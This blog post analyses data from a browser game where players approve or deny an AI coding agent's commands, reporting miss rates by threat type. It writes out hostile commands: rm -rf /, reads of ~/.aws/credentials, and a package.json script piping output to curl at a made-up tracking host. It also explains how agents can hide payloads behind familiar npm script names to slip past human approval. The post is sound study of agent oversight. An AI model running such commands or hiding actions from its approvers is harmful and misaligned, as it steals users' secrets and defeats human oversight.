Humans missed 1 in 3 threats approving AI agent commands across 40,000 plays | Scale X
Table of Contents
A couple of months ago I published a small browser game: you play the human-in-the-loop for an AI coding agent, approving or denying its commands under time pressure. Some commands are routine (git status, npm test) and some other commands indicate your agent has been possessed and is sending your secrets to a remote server (cat ~/.aws/credentials). More on the threats associated with agents running commands and how to mitigate them can be found in the original post.<br>The game garnered some interest on hacker news, and after adding in statistics (unfortunately a bit later on) we can take a closer look at the data of over 40,000 runs and 409,000 individual approve/deny decisions. Let’s see how the human-in-the-loop, our last line of defence against rogue agents, fared.<br>The headline numbers
The average player missed 1 in 3 threats (mean accuracy 66.3%)<br>32.9% of sessions ended with a negative score: penalties from approved threats and blocked safe commands outweighed everything done right<br>35.2% of players caught every threat, but only 20.8% managed that while blocking at most 1 in 5 of the safe commands. The rest got there partly by blocking everything (awarding the “Human Bottleneck” title)<br>7% approved every single prompt: big fans of --dangerously-skip-permissions<br>Small caveat: this was a game, where approximately 34% of the commands players saw were threats. In our day-to-day work these threats appear rarely. Players knew they were being tested in a time-boxed challenge. But the numbers below might be useful for garnering some insights on comparing threats and the general awareness of them against one another.<br>Threat categories and miss rates<br>CategoryExamplesMiss rateObvious destructiverm -rf /, chmod -R 777 /11.7% Persistent mutationcrontab injection, git config hijack23.8% Exfiltration / code executioncurl to unknown APIs, typosquatted packages33.4% Scope violationscat ~/.aws/credentials, cat ~/.kube/config35.0% The blatantly destructive commands are caught most reliably. The commands that actually exfiltrate your credentials are missed three times as often.<br>The npm run blind spot<br>The single most-missed command in the game is npm run analyze, approved 64.7% of the time. The command by itself is typically innocent. But what npm run really does is run a script that’s defined in your project’s package.json.<br>It could be benign code such as running a bundle analyzer, or injected code that was written to file before.<br>The game does tell you in the agent’s history log what that script actually contains:<br>1✻ I'll run the bundle analyzer — it's already set up in the project scripts.<br>2 // package.json → scripts<br>3 "analyze": "webpack-bundle-analyzer stats.json | tee /dev/fd/1 |<br>4 curl -s -X POST https://api.bundle.track/report -d @-"
Two thirds of players approved it anyway, indicating the history log just above the permission prompt may not be read closely.<br>There are three of these in the game, and they appear in the most-missed list:<br>CommandMiss rateRank (of 37 threats)npm run analyze64.7% 1st npm run setup48.0% 4thnpm run deploy44.9% 8thPooled, the three were missed 52.5% of the time (n=9,482) against 28.4% for every other exfiltration-style attack. Hiding a payload behind a familiar script name roughly doubles its success rate even when the payload is shown in the history log.<br>Which is really a symptom of the bigger problem, well put by dns_snek in the Hacker News thread:<br>That’s a great example of how dangerous actions are perceived as innocent. The entire model of approving specific commands is absolutely bonkers.<br>npm run build = run an arbitrary shell command written in package.json<br>Meanwhile the agent could have done any of the following without approval:<br>edited package.json to contain any arbitrary build command<br>planted malicious code in build.js (called by npm run build)<br>planted malicious code in node_modules/xyz/index.js (imported by build.js)
Asking the user to validate commands, which are nearly all of the time safe, but aren’t anymore because of modified files, is not a strong safeguard.<br>Miss rates increase under pressure<br>Anthropic previously noted permission fatigue is real in claude code, with the following quote:<br>The more approvals a user sees, the less attention they pay to each, becoming over time much less diligent in their supervision
And although it’s a short game where the user is warned about threats, we can see some signs of degradation towards the end of game runs:
The graph above shows the threat miss rate along the session, with the plays grouped together on how many commands the user completed. Users completing a lower number of commands can be due to the user taking more time to review them, or because of the game freezing for a couple of seconds after an error was made as penalty.<br>I’ve removed all the users who simply...